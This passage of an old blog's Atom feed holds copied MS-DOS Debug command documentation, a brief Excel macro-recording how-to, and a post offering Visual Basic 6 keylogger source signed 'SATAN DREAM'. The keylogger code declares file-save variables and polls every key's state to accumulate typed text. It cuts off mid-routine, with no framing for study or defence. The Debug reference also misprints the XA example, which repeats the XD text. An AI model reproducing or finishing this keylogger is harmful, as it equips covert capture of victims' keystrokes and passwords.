border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection141121120120"&gt;Debug: W (Write)&lt;/h3&gt; &lt;p&gt;Writes a file or specific sectors to disk.&lt;/p&gt; &lt;p&gt;You must have specified the name of the disk file when you started Debug or in the most recent Debug &lt;b&gt;n&lt;/b&gt; (name) command. Both of these methods properly format a filename for a file control block at address CS:5C.&lt;/p&gt; &lt;p&gt;To write the contents of the number of bytes specified in the BX:CX registers to a disk file, use the following syntax:&lt;/p&gt; &lt;h4&gt;Syntax w [address]&lt;/h4&gt; &lt;p&gt;To bypass the MS-DOS file system and directly write specific sectors, use the following syntax: &lt;b&gt;w&lt;/b&gt; address drive start number&lt;/p&gt; &lt;p&gt; &lt;b&gt;Caution&lt;/b&gt;: Writing specific sectors is extremely risky because it bypasses the MS-DOS file handler. The disk's file structure can easily be damaged if the wrong values are typed.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;address&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the beginning memory address of the file, or portion of the file, you want to write to a disk file. If you do not specify &lt;i&gt;address&lt;/i&gt;, Debug starts from CS:100. For information about valid values for the &lt;i&gt;address&lt;/i&gt; parameter, see the &lt;b&gt;debug&lt;/b&gt; command.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;drive&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the drive that contains the destination disk. This value is numeric: 0 = A, 1 = B, 2 = C, and so on.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;start&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the hexadecimal number of the first sector to which you want to write.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;number&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the number of sectors to which you want to write.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Resetting BX:CX before using the w command without parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you have used a Debug &lt;b&gt;g&lt;/b&gt; (go), &lt;b&gt;t&lt;/b&gt; (trace), &lt;b&gt;p&lt;/b&gt; (proceed), or &lt;b&gt;r&lt;/b&gt; (register) command, you must reset the BX:CX registers before using the &lt;b&gt;w&lt;/b&gt; command without parameters.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Writing a modified file to a disk&lt;/b&gt; &lt;/p&gt; &lt;p&gt;If you modify the file but do not change the name, length, or starting address, Debug can still correctly write the file to the original disk location.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Limitation on the w command&lt;/b&gt; &lt;/p&gt; &lt;p&gt;You cannot write an .EXE or .HEX file with this command.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Suppose you want to write the contents of memory, beginning at the address CS:100, to the disk in drive B. You want the data to begin in the disk's logical sector number 37h and continue for 2Bh sectors. To do this, type the following command:&lt;/p&gt; &lt;pre&gt;wcs:100 1 37 2b&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;When the write operation is complete, Debug displays the Debug prompt again.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about specifying a file for the &lt;b&gt;w&lt;/b&gt; command, see the Debug &lt;b&gt;n&lt;/b&gt; (Name) command.&lt;/p&gt; &lt;p&gt;For information about loading the contents of a file or file sectors into memory, see the Debug &lt;b&gt;l&lt;/b&gt; (Load) command.&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection142121120120"&gt;Debug: XA (Allocate Expanded Memory)&lt;/h3&gt; &lt;p&gt;Allocates a specified number of pages of expanded memory.&lt;/p&gt; &lt;p&gt;To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;xa&lt;/b&gt; [&lt;i&gt;count&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameter&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;count&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the number of 16-kilobyte pages of expanded memory to allocate.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To deallocate handle 0003, type the following command:&lt;/p&gt; &lt;pre&gt;xd 0003&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If the command is successful, Debug displays the following message:&lt;/p&gt; &lt;pre&gt;Handle 0003 deallocated&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about other Debug commands that work with expanded memory, see the Debug commands &lt;b&gt;xd&lt;/b&gt; (Deallocate Expanded Memory), &lt;b&gt;xm&lt;/b&gt; (Map Expanded-Memory Pages), and &lt;b&gt;xs&lt;/b&gt; (Display Expanded-Memory Status).&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection143121120120"&gt;Debug: XD (Deallocate Expanded Memory)&lt;/h3&gt; &lt;p&gt;Deallocates a handle to expanded memory.&lt;/p&gt; &lt;p&gt;To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).&lt;/p&gt; &lt;p&gt; &lt;b&gt;xd&lt;/b&gt; [&lt;i&gt;handle&lt;/i&gt;]&lt;/p&gt; &lt;h4&gt;Parameters&lt;/h4&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;handle&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the handle you want to deallocate.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To deallocate handle 0003, type the following command:&lt;/p&gt; &lt;pre&gt;xd 0003&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If the command is successful, Debug displays the following message:&lt;/p&gt; &lt;pre&gt;Handle 0003 deallocated&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about other Debug commands that work with expanded memory, see the Debug commands &lt;b&gt;xa&lt;/b&gt; (allocate expanded memory), &lt;b&gt;xm&lt;/b&gt; (map expanded-memory pages), and &lt;b&gt;xs&lt;/b&gt; (display expanded-memory status).&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection144121120120"&gt;Debug: XM (Map Expanded Memory Pages)&lt;/h3&gt; &lt;p&gt;Maps a logical page of expanded memory, belonging to the specified handle, to a physical page of expanded memory.&lt;/p&gt; &lt;p&gt;To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;xm&lt;/b&gt; [&lt;i&gt;lpage&lt;/i&gt;] [&lt;i&gt;ppage&lt;/i&gt;] [&lt;i&gt;handle&lt;/i&gt;]&lt;/p&gt; &lt;p&gt; &lt;b&gt;Parameters&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;lpage&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the number of the logical page of expanded memory that you want to map to physical page &lt;i&gt;ppage&lt;/i&gt;.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;ppage&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the number of the physical page to which &lt;i&gt;lpage&lt;/i&gt; is to be mapped.&lt;/p&gt; &lt;p&gt; &lt;b&gt; &lt;i&gt;handle&lt;/i&gt; &lt;/b&gt; &lt;/p&gt; &lt;p&gt;Specifies the handle.&lt;/p&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To map logical page 5 of handle 0003 to physical page 2, type the following command:&lt;/p&gt; &lt;pre&gt;xm 5 2 0003&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If the command is successful, Debug displays the following message:&lt;/p&gt; &lt;pre&gt;Logical page 05 mapped to physical page 02&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Related Commands&lt;/b&gt; &lt;/p&gt; &lt;p&gt;For information about other Debug commands that work with expanded memory, see the Debug commands &lt;b&gt;xa&lt;/b&gt; (Allocate Expanded Memory), &lt;b&gt;xd&lt;/b&gt; (Deallocate Expanded Memory), and &lt;b&gt;xs&lt;/b&gt; (Display Expanded-Memory Status).&lt;/p&gt; &lt;div&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt; &lt;img alt="" src="http://i.technet.microsoft.com/Cc722863.arrow_px_up%28en-us,TechNet.10%29.gif" border="0" /&gt; &lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/library/cc722863.aspx#mainSection"&gt;Top Of Page&lt;/a&gt;&lt;br /&gt;&lt;/div&gt; &lt;h3 id="XSLTsection145121120120"&gt;Debug: XS (Display Expanded-Memory Status)&lt;/h3&gt; &lt;p&gt;Displays information about the status of expanded memory.&lt;/p&gt; &lt;p&gt;To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).&lt;/p&gt; &lt;h4&gt;Syntax&lt;/h4&gt; &lt;p&gt; &lt;b&gt;xs&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Note&lt;/b&gt; &lt;/p&gt; &lt;p&gt;The information that Debug displays has the following format:&lt;/p&gt; &lt;pre&gt;Handle xx has xx pages allocated&lt;br /&gt;Physical page xx = Frame segment xx&lt;br /&gt;xx of a total xx EMS pages have been allocated&lt;br /&gt;xx of a total xx EMS handles have been allocated&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; &lt;b&gt;Example&lt;/b&gt; &lt;/p&gt; &lt;p&gt;To display expanded-memory information, type the following command:&lt;/p&gt; &lt;pre&gt;xs&lt;br /&gt;Debug displays information similar to the following:&lt;br /&gt;Handle 0000 has 0000 pages allocated&lt;br /&gt;Handle 0001 has 0002 pages allocated&lt;br /&gt;Physical page 00 = Frame segment C000&lt;br /&gt;Physical page 01 = Frame segment C400&lt;br /&gt;Physical page 02 = Frame segment C800&lt;br /&gt;Physical page 03 = Frame segment CC00&lt;br /&gt;2 of a total 80 EMS pages have been allocated&lt;br /&gt;2 of a total FF EMS handles have been allocated&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-4172541614332928368?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/4172541614332928368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=4172541614332928368' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/4172541614332928368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/4172541614332928368'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/debug-commands-command-description.html' title=''/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-1862028308400186862</id><published>2008-10-19T08:33:00.000-07:00</published><updated>2008-10-19T08:44:14.441-07:00</updated><title type='text'>Excel Macros</title><content type='html'>&lt;span class="Apple-style-span" style="color: rgb(72, 72, 72); font-family: Arial; font-size: 12px; line-height: 19px; "&gt;&lt;p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 18px; margin-right: 0px; margin-bottom: 18px; margin-left: 0px; "&gt;Do you have common tasks that you perform over and over in Microsoft Excel  For instance, do you often apply the same combination of formats, or do you receive data every week or month that you organize and analyze the same way every time? You can use a macro to combine all of the steps in a task into a single command.&lt;/p&gt;&lt;p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 18px; margin-right: 0px; margin-bottom: 18px; margin-left: 0px; "&gt;Solutin Is Using Excel Macros.&lt;/p&gt;&lt;p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 18px; margin-right: 0px; margin-bottom: 18px; margin-left: 0px; "&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 18px; margin-right: 0px; margin-bottom: 18px; margin-left: 0px; "&gt;&lt;/p&gt;&lt;p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 18px; margin-right: 0px; margin-bottom: 18px; margin-left: 0px; "&gt;&lt;br /&gt;&lt;/p&gt;&lt;ol style="display: inline-block; list-style-type: decimal; list-style-position: outside; list-style-image: initial; margin-top: -6px; margin-right: 0px; margin-bottom: -6px; margin-left: 1px; padding-top: 0px; padding-right: 1.5em; padding-bottom: 0px; padding-left: 1.5em; "&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;&lt;br /&gt;&lt;/li&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;Point to &lt;b class="bterm" style="font-weight: bold; "&gt;Macro&lt;/b&gt; on the &lt;b class="ui" style="font-weight: bold; "&gt;Tools&lt;/b&gt; menu, and then click &lt;b class="bterm" style="font-weight: bold; "&gt;Record New Macro&lt;/b&gt;.&lt;/li&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;In the &lt;b class="bterm" style="font-weight: bold; "&gt;Record Macro&lt;/b&gt; dialog box, type a name for the macro in the &lt;b class="bterm" style="font-weight: bold; "&gt;Macro name&lt;/b&gt; box. Macro names must start with a letter and can include letters, numbers, and underscore characters, but can't include spaces. You don't need to change the other boxes:&lt;p style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 18px; margin-right: 0px; margin-bottom: 18px; margin-left: 0px; "&gt;When you click &lt;b class="ui" style="font-weight: bold; "&gt;OK&lt;/b&gt;, the &lt;b class="bterm" style="font-weight: bold; "&gt;Stop Recording&lt;/b&gt; toolbar appears, and you're ready to record. Until you stop the recording, every Excel command and keystroke will be recorded in the macro, in the order in which they are entered.&lt;br /&gt;&lt;/p&gt;&lt;/li&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;Now format the cell the way your boss wants it flagged: click &lt;b class="ui" style="font-weight: bold; "&gt;Cells&lt;/b&gt; on the&lt;b class="ui" style="font-weight: bold; "&gt;Format&lt;/b&gt; menu, click the &lt;b class="ui" style="font-weight: bold; "&gt;Font&lt;/b&gt; tab, click &lt;b class="ui" style="font-weight: bold; "&gt;Bold&lt;/b&gt; under &lt;b class="ui" style="font-weight: bold; "&gt;Font&lt;/b&gt; style, click &lt;b class="ui" style="font-weight: bold; "&gt;Red&lt;/b&gt; for&lt;b class="ui" style="font-weight: bold; "&gt;Color&lt;/b&gt;, click the &lt;b class="ui" style="font-weight: bold; "&gt;Border&lt;/b&gt; tab, click &lt;b class="ui" style="font-weight: bold; "&gt;Red&lt;/b&gt; for &lt;b class="ui" style="font-weight: bold; "&gt;Color&lt;/b&gt;, click the border thickness you want, click &lt;b class="ui" style="font-weight: bold; "&gt;Outline&lt;/b&gt;, and then click &lt;b class="ui" style="font-weight: bold; "&gt;OK&lt;/b&gt;.&lt;/li&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;To finish recording the macro, click the &lt;b class="bterm" style="font-weight: bold; "&gt;Stop Recording&lt;/b&gt; button:&lt;/li&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;To see what kind of  VBA generated  Point to &lt;b class="bterm" style="font-weight: bold; "&gt;Macro&lt;/b&gt; on the &lt;b class="ui" style="font-weight: bold; "&gt;Tools&lt;/b&gt; menu, and then click &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Visual Basic Editor.&lt;/span&gt;&lt;/li&gt;&lt;li style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 8px; margin-right: 1em; margin-bottom: 8px; margin-left: 1em; display: list-item; "&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Click On Module Tree Node, From Expanding Double Click On Macro Name That You Gave&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/581094467797720912-1862028308400186862?l=crackspiders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://crackspiders.blogspot.com/feeds/1862028308400186862/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=581094467797720912&amp;postID=1862028308400186862' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/1862028308400186862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/581094467797720912/posts/default/1862028308400186862'/><link rel='alternate' type='text/html' href='http://crackspiders.blogspot.com/2008/10/excel-macros.html' title='Excel Macros'/><author><name>ITDREAMES</name><uri>http://www.blogger.com/profile/07153074550625823993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-581094467797720912.post-2898321272662920081</id><published>2008-10-11T23:37:00.001-07:00</published><updated>2008-10-11T23:41:33.760-07:00</updated><title type='text'>VB 6.0 Code KeyBoard Logger</title><content type='html'>'*********************KeyCoardLogerForWindows************&lt;br /&gt;'***********************CODED bY SATAN DREAM*******************&lt;br /&gt;' dot added&lt;br /&gt;Option Explicit&lt;br /&gt;Dim strContent As String&lt;br /&gt;Dim boolCapslockOn As Boolean&lt;br /&gt;Dim boolShiftPresed As Boolean&lt;br /&gt;Dim BOOLCASE As Boolean&lt;br /&gt;Dim strSavePath As String&lt;br /&gt;Dim StrFileName As String&lt;br /&gt;Dim intInd As Long&lt;br /&gt;Dim strFilePath As String&lt;br /&gt;Dim intSpeciachar As Integer&lt;br /&gt;Dim SpecChar As String&lt;br /&gt;Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer 'key bord scan func&lt;br /&gt;&lt;br /&gt;Dim StrTExt As String&lt;br /&gt;' follwing is keybord definition&lt;br /&gt;'start function keys&lt;br /&gt;Dim Keydot1 As Long, keydot1pre As Long&lt;br /&gt;Dim KeyPlus As Long, KeyPluspre As Long&lt;br /&gt;Dim KeyAdd As Long, KeyAddpre As Long&lt;br /&gt;Dim KeySub As Long, keySubpre As Long&lt;br /&gt;Dim KeyMulti As Long, KeyMultiPre As Long&lt;br /&gt;Dim KeyDiv As Long, KeyDivper As Long&lt;br /&gt;&lt;br /&gt;Dim KeyMin As Long, KeyMinpre As Long&lt;br /&gt;Dim KeyEsc As Long, KeyEscPre As Long&lt;br /&gt;Dim KeyF1 As Long, KeyF1Pre As Long&lt;br /&gt;Dim KeyF2 As Long, KeyF2Pre As Long&lt;br /&gt;Dim KeyF3 As Long, KeyF3Pre As Long&lt;br /&gt;Dim KeyF4 As Long, KeyF4Pre As Long&lt;br /&gt;Dim KeyF5 As Long, KeyF5Pre As Long&lt;br /&gt;Dim KeyF6 As Long, KeyF6Pre As Long&lt;br /&gt;Dim KeyF7 As Long, KeyF7Pre As Long&lt;br /&gt;Dim KeyF8 As Long, KeyF8Pre As Long&lt;br /&gt;Dim KeyF9 As Long, KeyF9Pre As Long&lt;br /&gt;Dim KeyF10 As Long, KeyF10Pre As Long&lt;br /&gt;Dim KeyF11 As Long, KeyF11Pre As Long&lt;br /&gt;Dim KeyF12 As Long, KeyF12Pre As Long&lt;br /&gt;&lt;br /&gt;'defines numeric keys&lt;br /&gt;Dim Key1 As Long, Key1Pre As Long&lt;br /&gt;Dim Key2 As Long, Key2Pre As Long&lt;br /&gt;Dim Key3 As Long, Key3Pre As Long&lt;br /&gt;Dim Key4 As Long, Key4Pre As Long&lt;br /&gt;Dim Key5 As Long, Key5Pre As Long&lt;br /&gt;Dim Key6 As Long, Key6Pre As Long&lt;br /&gt;Dim kEY7 As Long, KEY7pRE As Long&lt;br /&gt;Dim Key8 As Long, Key8Pre As Long&lt;br /&gt;Dim Key9 As Long, Key9Pre As Long&lt;br /&gt;Dim Key0 As Long, Key0Pre As Long&lt;br /&gt;'Defines General Keys&lt;br /&gt;Dim KeyA As Long, KeyAPre As Long&lt;br /&gt;Dim KeyB As Long, KeyBPre As Long&lt;br /&gt;Dim KeyC As Long, KeyCPre As Long&lt;br /&gt;Dim KeyD As Long, KeyDPre As Long&lt;br /&gt;Dim KeyE As Long, KeyEPre As Long&lt;br /&gt;Dim KeyF As Long, KeyFPre As Long&lt;br /&gt;Dim KeyG As Long, KeyGPre As Long&lt;br /&gt;Dim KeyH As Long, KeyHPre As Long&lt;br /&gt;Dim KeyI As Long, KeyIPre As Long&lt;br /&gt;Dim KeyJ As Long, KeyJPre As Long&lt;br /&gt;Dim KeyK As Long, KeyKPre As Long&lt;br /&gt;Dim KeyL As Long, KeyLPre As Long&lt;br /&gt;Dim KeyM As Long, KeyMPre As Long&lt;br /&gt;Dim KeyN As Long, KeyNPre As Long&lt;br /&gt;Dim KeyO As Long, KeyOPre As Long&lt;br /&gt;Dim KeyP As Long, KeyPPre As Long&lt;br /&gt;Dim KeyQ As Long, KeyQPre As Long&lt;br /&gt;Dim KeyR As Long, KeyRPre As Long&lt;br /&gt;Dim KeyS As Long, KeySPre As Long&lt;br /&gt;Dim KeyT As Long, KeyTPre As Long&lt;br /&gt;Dim KeyU As Long, KeyUPre As Long&lt;br /&gt;Dim KeyV As Long, KeyVPre As Long&lt;br /&gt;Dim KeyW As Long, KeyWPre As Long&lt;br /&gt;Dim KeyX As Long, KeyXPre As Long&lt;br /&gt;Dim KeyY As Long, KeyYPre As Long&lt;br /&gt;Dim KeyZ As Long, KeyZPre As Long&lt;br /&gt;Dim KeyDot As Long, KeyDotpre As Long&lt;br /&gt;'DEFINES NUMPAD KEYSV&lt;br /&gt;Dim KeyNUM1 As Long, KeyNUM1Pre As Long&lt;br /&gt;Dim KeyNUM2 As Long, KeyNUM2Pre As Long&lt;br /&gt;Dim KeyNUM3 As Long, KeyNUM3Pre As Long&lt;br /&gt;Dim KeyNUM4 As Long, KeyNUM4Pre As Long&lt;br /&gt;Dim KeyNUM5 As Long, KeyNUM5Pre As Long&lt;br /&gt;Dim KeyNUM6 As Long, KeyNUM6Pre As Long&lt;br /&gt;Dim KeyNUM7 As Long, KeyNUM7PRE As Long&lt;br /&gt;Dim KeyNUM8 As Long, KeyNUM8Pre As Long&lt;br /&gt;Dim KeyNUM9 As Long, KeyNUM9Pre As Long&lt;br /&gt;Dim KeyNUM0 As Long, KeyNUM0Pre As Long&lt;br /&gt;'Othe function Keys&lt;br /&gt;Dim KeyTab As Long, KeyTabPre As Long&lt;br /&gt;Dim KeyCapsLock As Long, KeyCapsLockPre As Long&lt;br /&gt;Dim KeyShift As Long, KeyShiftPre As Long&lt;br /&gt;Dim KeyEnter As Long, KeyEnterPre As Long&lt;br /&gt;Dim KeySpace As Long, KeySpacePre As Long&lt;br /&gt;'MOUSE KEYS&lt;br /&gt;Dim KeyMouseLeft As Long, KeyMouseLeftPre As Long&lt;br /&gt;Dim KeyMouseright As Long, keyMouseRightPre As Long&lt;br /&gt;Private Sub scanKeyb()&lt;br /&gt;&lt;br /&gt;  '**********************************************************&lt;br /&gt;   &lt;br /&gt;  KeyCapsLock = GetKeyState(vbKeyCapital)&lt;br /&gt;     If KeyCapsLock = 0 Then&lt;br /&gt;    &lt;br /&gt;        boolCapslockOn = False&lt;br /&gt; ElseIf KeyCapsLock = 1 Then&lt;br /&gt;        boolCapslockOn = True&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyCapsLockPre = KeyCapsLock&lt;br /&gt;&lt;br /&gt;'************************************************************&lt;br /&gt;KeyShift = GetKeyState(vbKeyShift)&lt;br /&gt;    If KeyShift &lt; 0 Then&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;    boolShiftPresed = True&lt;br /&gt;    Else&lt;br /&gt;    boolShiftPresed = False&lt;br /&gt;    End If&lt;br /&gt;    '***********************************************************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     KeyA = GetKeyState(vbKeyA)&lt;br /&gt;     If KeyA &gt;= 0 And KeyAPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "A"&lt;br /&gt;&lt;br /&gt; ElseIf KeyA &gt;= 0 And KeyAPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "a"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyAPre = KeyA&lt;br /&gt;     '***********************************************************&lt;br /&gt;    &lt;br /&gt;         KeyB = GetKeyState(vbKeyB)&lt;br /&gt;     If KeyB &gt;= 0 And KeyBPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "B"&lt;br /&gt;&lt;br /&gt; ElseIf KeyB &gt;= 0 And KeyBPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "b"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyBPre = KeyB&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyC = GetKeyState(vbKeyC)&lt;br /&gt;     If KeyC &gt;= 0 And KeyCPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "C"&lt;br /&gt;&lt;br /&gt; ElseIf KeyC &gt;= 0 And KeyCPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "c"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyCPre = KeyC&lt;br /&gt;       '************************************************************&lt;br /&gt; &lt;br /&gt;      KeyD = GetKeyState(vbKeyD)&lt;br /&gt;     If KeyD &gt;= 0 And KeyDPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "D"&lt;br /&gt;&lt;br /&gt; ElseIf KeyD &gt;= 0 And KeyDPre &lt; 0 Then&lt;br /&gt; strContent = strContent + "d"&lt;br /&gt;&lt;br /&gt;     End If&lt;br /&gt;    &lt;br /&gt;     KeyDPre = KeyD&lt;br /&gt;    &lt;br /&gt;      KeyE = GetKeyState(vbKeyE)&lt;br /&gt;     If KeyE &gt;= 0 And KeyEPre &lt; 0 And BOOLCASE = True Then&lt;br /&gt;    &lt;br /&gt; strContent = strContent + "E"&lt;br /&gt;&lt;br 